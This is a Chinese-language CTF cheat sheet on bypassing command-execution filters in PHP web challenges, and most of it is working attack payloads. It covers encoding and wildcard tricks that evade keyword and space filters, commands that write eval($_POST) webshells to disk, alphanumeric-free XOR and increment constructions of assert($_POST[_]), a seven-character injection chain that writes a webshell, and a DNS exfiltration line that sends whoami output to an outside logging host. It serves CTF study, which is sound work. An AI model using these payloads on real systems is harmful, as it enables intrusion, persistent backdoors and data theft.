命令执行绕过总结
linux系统查看文件命令
more 一页一页的显示文件内容
less 和more类似
head 只显示头几行
tail 只显示最后几行
nl 显示时还输出行号
tailf
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
od 以二进制的方式读取内容
vi 编辑文件
vim 编辑文件,是vi的升级版
sort 将以默认的方式将文本文件的第一列以ASCII 码的次序排列,并将结果输出到标准输出。
uniq 从输入文件或者标准输入中筛选相邻的匹配行并写入到输出文件或标准输出。
file -f 命令报错出文件内容
grep grep flag flag.php打印flag.php里有flag的行
windows查看文件命令
type
php读取文件函数
highlight_file() highlight_file() 函数对文件进行语法高亮显示
show_source() show_source() 函数对文件进行语法高亮显示。是highlight_file的别名
php_strip_whitespace() 用于返回已删除 PHP 注释以及空白字符的源代码文件,需要配合输出使用
file_get_contents() 把整个文件读入一个字符串中。
readfile() 函数读取一个文件,并写入到输出缓冲。
file() 函数把整个文件读入一个数组中。
fopen() fopen — 打开文件或者 URL,配合fread()使用
fread() 函数读取文件
include() 获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中。
include_once()
require()
require_once()
popen() 函数打开进程文件指针。
fgets() 函数从文件指针中读取一行。
fpassthru() 函数从打开文件的当前位置开始读取所有数据,直到文件末尾(EOF)
fgetcsv() 函数从文件指针中读入一行并解析 CSV 字段
fgetss() 函数从打开的文件中读取一行并过滤掉 HTML 和 PHP 标记。
fscanf() 函数根据指定的格式对来自打开的文件的输入进行解析。
parse_ini_file() 函数解析一个配置文件(ini 文件),并以数组的形式返回其中的设置。貌似无法成功
highlight_file(("flag.txt"));
show_source(("flag.txt"));
echo (php_strip_whitespace("flag.txt"));
echo file_get_contents(("flag.txt"));
readfile(("flag.txt"));
var_dump(file(("flag.txt"))); 用print_r也可以打印数组
print(fread(fopen("flag.txt","r"),filesize("flag.txt"))); 需要配合输出函数使用
include("flag.txt");
fread(popen("flag.txt","r"),filesize('flag.txt')); 貌似不用输出函数也可以
echo fgets(fopen("flag.txt","r"),1024); 需要配合输出函数使用
fpassthru(fopen("flag.txt","r"));
var_dump(fgetcsv(fopen("flag.txt","r"))); 需要配合打印数组函数使用
echo fgetss(fopen("flag.txt","r")); 需要配合输出函数使用
var_dump(fscanf(fopen("flag.txt","r"),"%s")); 需要配合打印数组函数使用
空格被过滤的代替方法
%09 tab键的url编码(tab键没有被过滤,在shell命令中又有着空格的作用)
< ,<>
${IFS} $IFS 9 单 纯 9 单纯 9单纯IFS会与后面的文件名被当作变量名,所以加{}固定变量名,这就与后面的文件名分开了,当然可以tac$IFS*,这样是不混淆的。
$IFS 9 中 第 二 个 9中第二个 9中第二个把第一个变量划分开来,不至于混淆。至于为什么用$9,这是因为$9始终表示空字符(有的其它数字也可以)。而$9fl’'ag.php第一个变量名为9,不会与后面的文件名混淆的。
flag等关键字被过滤的代替方法
单引号双引号斜杠绕过
fla"“g.ph”"p
fla’‘g.ph’'p
fla\g.ph\p 不能两\连在一起用(斜杠当作命令拼接符)
用通配符绕过
fla*
fl?g.???
php被过滤时尝试用php短标签
用变量绕过
a=l;b=s;$a$b
a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b flag.php
编码绕过
echo Y2F0IGZsYWcucGhw|base64 -d|sh
echo Y2F0IGZsYWcucGhw|base64 -d|bash 相当于cat flag.php,base64
echo "0x63617420666C61672E706870" |xxd -r -p|bash
echo "0x63617420666C61672E706870" |xxd -r -p|sh 相当于cat flag.php,16进制
(printf "\154\163") 单纯输出ls
$(printf "\154\163") 执行ls命令
{printf,"\154\163"} 单纯输出ls(ubuntu测试成功,kali不成功)
${printf,"\154\163"} 即不执行命令,也不输出了(ubuntu测试成功,kali不成功)
(printf "\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76")>>shell.php 写shell(ubuntu kali都测试成功)
{printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"}>>shell1.php 写shell(ubuntu测试成功,kali不成功)
无字母(数字)exp构造
用通配符表示/bin/下的又数字命令 比如/bin/base64读取文件内容
利用系统内置变量配合通配符构造命令
PATH 命令的搜寻路径。即环境变量。无添加的情况下默认是n结尾。
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
`echo $PATH| cut -c 8,9`t test
HOME 设定用户的家目录位置。通常,root的家目录在/root,一般用户的家目录在/home/账号。替换~的结 果,就是HOME变量值。
SHLVL 子shell的层级数。
PWD 当前路径
USER 用户权限,网站一般是www-data
PHP_VERSION php版本
井号 表示统计长度
TERM
HOSTNAME 显示主机名
${Z} 可以代表数值0,单独输出这个不是0
${#?} 可以表示数值1
${#IFS} ubuntu下测试为3,kali上测试为4
$? 表示上一次命令执行的传回值,通常0代表执行成功,非0代表执行有误。<A命令的传回值为1
注: P W D : : 1 默 认 从 0 开 始 取 一 个 字 符 ( u b u n t u 测 试 成 功 , k a l i 没 有 测 试 成 功 ) , {PWD::1}默认从0开始取一个字符(ubuntu测试成功,kali没有测试成功), PWD::1默认从0开始取一个字符(ubuntu测试成功,kali没有测试成功),{PWD:0}默认取全部,${PWD:~0}默认取最后一个
内置变量可参考:https://blog.51cto.com/allenh/1695810
无数字读取flag.php(目录下文件为index.php flag.php)
show_source(next(array_reverse(scandir(getcwd()))));
POST文件上去的同时,执行命令
sh 脚本名(不需要脚本有执行权限)
./脚本名
. 脚本的绝对路径(不需要脚本有执行权限)
source 脚本的绝对路径(不需要脚本有执行权限)
利用弱类型构造数字
<?php
echo (">">"<")+(">">"<");
?> //true+true=2
利用未定义变量默认值为null=false=0,再利用自增获得想要的数值。
<?php
echo ++$a; //值为1
?>
//单纯输出false是没有数值的,单纯输出true是数值1
利用字母自增变量字母表
<?php
highlight_file(__FILE__);
$_=[];
var_dump($_);
$_="$_"; //貌似是数组无法直接赋值,故变为字符串赋值(存疑)。
echo $_;
$_=$_['!'=='#']; //字符串可以当作数组处理。
$__=$_;
echo $__;
?>
//只能自增,不能自减。只能是字母进行自增操作,其它字符进行自增操作还是自身。
异或与取反
异或
先将字符转换为ascii(10进制的),在把10进制转换成2进制,再把二进制进行异或,异或完之后转换回10进制,10进制再转换为ascii码。
比如A与?进行异或
A的ascii码为65 对应二进制为00000000 00000000 00000000 01000001(第一位为符号位,0为正数,1为负数,)
?的ascii码为63 对应二进制为00000000 00000000 00000000 00111111
进行异或得 00000000 00000000 00000000 01111110 对应10进制为126 126ascii码对应的字符为~
取反
利用utf-8编码的某个汉字,将其中的某个16进制取出来进行取反。
比如汉字"和",utf-8编码为 \xe5\x92\x8c
取其第三个16进制(0x8c),进行取反。
进行异或时,ascii码表的不可打印字符用url编码表示(因为网站会对上传的参数(get或post)进行解码)。
把16进制转换为2进制,再把二进制取反(0变1,1变0),负数用补码进行表示,补码减1获得反码,反码再取反获得原码,原码转换回16进制,ascii码的16进制对应的字符就是php取反的最终结果。
比如\x8c进行取反
其二进制对应为00000000 00000000 00000000 10001100
经一次取反 11111111 11111111 11111111 01110011 负数是用补码表示的,所以此数为一个负数的补码
那么逆推回去,补码对应的反码为 11111111 11111111 11111111 01110010
反码再取反获得原码 00000000 00000000 00000000 10001101 对应为141 不要忘了前面的-号
简单记忆就是 一个数取反等于负的这个数加一 比如a取反结果为-(a+1)
负数用16进制表示:
原码取反再加一这个数对应的16进制就是负数的16进制表示
-141的16进制表示
二进制为 10001101
取反为 01110010
加一为 01110011 对应16进制为73
16进制的ascii码73对应的字符为s
最终\x8c经php取反结果是s
<?php
$_="和";
echo (~($_{2}));
echo (~"\x8c");
?>
<?php
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
?>
<?php
eval($_POST['a']);
?>
传入a=
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>
//这是取反获得GET,引号里的字符会一一对应异或出结果 "`{{{"^"?<>/"
无数字取反出字母
<?php
$__=('>'>'<')+('>'>'<'); //$__2
$_=$__/$__; //$_1
//核心是数字用('>'>'<')+('>'>'<')等进行表示
?>
${~"\xa0\xb8\xba\xab"} //相当于直接把4个16进制数都取反,$_GET $a=_GET;${$a};
递增运算符构造一句话
利用的是php函数大小写不敏感
ASSERT和assert有相同的作用。
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
?>
这里记录一个题目:
<?php
include'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
//payload:code=$_="`{{{"^"?<>/";${$_}[_]();_=getFlag;
//code=$+="`{{{"^"?<>/";${$_}[+]();+=getFlag;
//code=$哼="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$哼(); 直接构造getFlag %1c%1e%0f%3d%17%1a%1c是ascii码表的不可显示字符的url编码。
代码执行函数及方法
${code} code不能是变量,变量无法成功执行
eval() 执行php代码
assert() 执行php代码 7.0.29之前的版本支持动态调用,之后的版本不支持(因为7.0.29之后assert变成了语言结构,而不是函数) 但是当只是函数名是动态的,而函数的参数不是动态的时候是支持的。
preg_replace() 当匹配用/e修饰符时,会把替换的内容当作php代码执行 php版本5.5以上就废弃了/e修饰符
create_function() 创建匿名函数的时候第一个参数要包含在引号里面?但是测试了不包含也行。借用网上的例子
<?php
//02-8.php?id=2;}phpinfo();/*
$id=$_GET['id'];
$str2='echo '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";
?>
函数原型:
f1('$a'){
echo $a.'test'.$id;
}
create_function($a,$b)函数会创建一个匿名函数,该匿名函数以$b作为函数体,$a可能是$b(即函数体)里面的变量,当然如果当函数体不需要用到此变量时,让其为空就ok,此时参数为create_function('',$b),此函数在版本7.2.0后被抛弃。
array_map(参数a,参数b) 返回参数b(数组)进入参数a函数后的结果
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
//?a=assert&b=phpinfo(); 利用,貌似函数名不能是eval,好像是因为eval不是函数,而是语言结构
php7运行报此错误:
Warning: Cannot call assert() with string argument dynamically in D:\Applications\phpstudy_pro\WWW\ctf\index.php on line 5 //这是因为php5中assert是一个函数,php7中是语言结构,以下的报错同理
call_user_func()/call_user_func_array() call_user_func( a , a, a,b)把 a 当 作 函 数 名 , a当作函数名, a当作函数名,b当作$a这个函数的参数。
call_user_func_array( a , a, a,b) 把 a 当 作 函 数 名 , a当作函数名, a当作函数名,b(此函数中变量为数组)当作$a这个函数的参数
//?a=phpinfo();
call_user_func(assert,$_GET['a']); //貌似函数名不能是eval,好像是因为eval不是函数,而是语言结构,函数名可以用参数传入哦
高版本报错:
Warning: Use of undefined constant assert - assumed 'assert' (this will throw an Error in a future version of PHP) in D:\Applications\phpstudy_pro\WWW\ctf\index.php on line 2
Warning: Cannot call assert() with string argument dynamically in D:\Applications\phpstudy_pro\WWW\ctf\index.php on line 2
//?a=phpinfo();
$array[0] = $_GET['a'];
call_user_func_array("assert",$array); //貌似函数名不能是eval,好像是因为eval不是函数,而是语言结构,函数名可以用参数传入哦
array_filter() array_filter( a , a, a,b)把 a 数 组 遍 历 送 到 a数组遍历送到 a数组遍历送到b函数中。
<?php
//?a=phpinfo()
$array[0] = $_GET['a'];
array_filter($array,'assert');
?> //貌似函数名不能是eval,好像是因为eval不是函数,而是语言结构,此处有版本限制,函数名可以用参数传入哦,高版本php报Warning: Cannot call assert() with string argument dynamically in D:\Applications\phpstudy_pro\WWW\ctf\index.php on line 4错误(记录一下)
usort(),uasort()
uasort(array,myfunction)函数使用用户自定义的比较函数对数组中的元素按键值进行排序:
usort(array,myfunction) 使用用户自定义的比较函数对数组中的元素进行排序
<?php
// ?1=3&2=phpinfo();
//var_dump($_GET);
usort($_GET,'assert');
?> //在php5.6以下有效,在其以上的版本不行。函数名可以用参数传入哦
a ( a( a(b)动态函数调用
<?php
if(isset($_GET['a'])){
$a=$_GET['a'];
$b=$_GET['b'];
$a($b);
}
?> //貌似函数名不能是eval,好像是因为eval不是函数,而是语言结构,此处有版本限制。高版本报同样的错误。
命令执行函数
system() 执行外部程序,并且显示输出
passthru() 执行外部程序并且显示原始输出
exec() 命令执行结果的最后一行内容,需要配合输出函数使用
shell_exec() 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。需要配合输出函数使用。
`反引号 PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回,与其它某些语言不 同,反引号不能在双引号字符串中使用。需要配合输出函数使用
ob_start() ob_start ( callable $output_callback
= null
, int $chunk_size
= 0 , int $flags
= PHP_OUTPUT_HANDLER_STDFLAGS
) : bool
打开输出控制缓冲。内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。可选参数 output_callback
函数可以被指 定。 此函数把一个字符串当作参数并返回一个字符串。
例子:
<?php
ob_start("exec");
echo "dir";
ob_end_flush();
?>
mail函数+LD_PRELOAD执行系统命令
命令分隔符
%0a 换行
%0d 回车(没测试成功)
分号 不管前面的命令是否失败,后面的命令都会执行。
&& 前面的命令执行成功了,才会执行后面的命令,否则不会执行。
|| 前面的命令失败时,才会执行后面的命令。
| 直接执行后面的命令
& 全部命令都执行,不管前面的命令真假
读取目录的函数方法
print_r(glob("*")); // 遍历当前目录 glob() 函数返回匹配指定模式的文件名或目录。
print_r(glob("/*")); // 遍历根目录
print_r(scandir(".")); //scandir() 函数返回指定目录中的文件和目录的数组。 遍历当前目录
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";} //opendir() 函数打开目录句柄
//readdir() 函数返回目录中下一个文件的文件名。
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";} //dir() 函数返回 Directory 类的实例。该函数用于读取一个目录,给定的要打开的目录 dir() 的 handle 和 path 两个属性是可用的 handle 和 path 属性有三个方法:read()、rewind() 和 close()。
$a=glob("/*");foreach($a as $value){echo $value." ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
其它
变量绕过
$a=l;$b=s;$a$b
编码绕过
`echo 'Y2F0Cg==' | base64 -d` 1.php
$(echo 'Y2F0Cg==' | base64 -d) 1.php
Y2F0Cg==是cat的base64编码。 //内敛执行,``命令的输出当作另一个命令的输入
内敛执行
内联执行将反引号内命令的输出作为输入执行,类似的还有$(command)
无回显处理方法
ping `whoami`xxx.ceye.io //利用dns解析记录
七个字符注入
\用于拼接命令
>1可以创建一个名称为1的文件,创建文件时空格和特殊字符(> \等)需要进行转义。
比如要执行命令
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
则payload为
> hp > 1.p\\ > d\>\\ >\ -\\ >e64\\ >bas\\ >7\|\\ >XSk\\ >Fsx\\ >dFV\\ >kX0\\ >bCg\\ >XZh\\ >AgZ\\ >waH\\ >PD9\\ >o\ \\ >ech\\ //不能以.作为文件名的开头,因为.是隐藏文件的开头标识,不加-a参数的ls显示不出来 ls -t>a //但是此命令执行后把a这个文件也写入a文件中了 sh 0
\拼接命令写shell时echo(echo输入一句话进文件)的内容不能用单引号包括,这样会把\也包括进来,要用双引号。
ip地址的转换
http://127.0.0.1本地地址可以用http://2130706433表示,也可以用http://0x7F000001表示,7F000001是2130706433的16进制表示。地址转换链接:http://www.msxindl.com/tools/ip/ip_num.asp
data协议利用include函数时,include后面固定连接一个后缀名是没有影响的,前面的php语句闭合了,后面的当作html输出(ctfshow38)。
FF1拓展突破函数禁用
php版本特性:
phpinfo() //php5、php7可执行
(phpinfo)() //php7可执行,利用这个特性可以把payload换成不可见字符绕过黑名单
就先总结这些。
参考链接:
https://www.wlhhlc.top/posts/14827/#web76
https://www.jb51.net/article/210212.htm
https://blog.csdn.net/qq_43431158/article/details/105422347?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522160523814219725255547693%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=160523814219725255547693&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2blogbaidu_landing_v2~default-6-105422347.pc_v2_rank_blog_default&utm_term=ctf%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C&spm=1018.2118.3001.4450
https://blog.csdn.net/qq_45927819/article/details/109671655
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html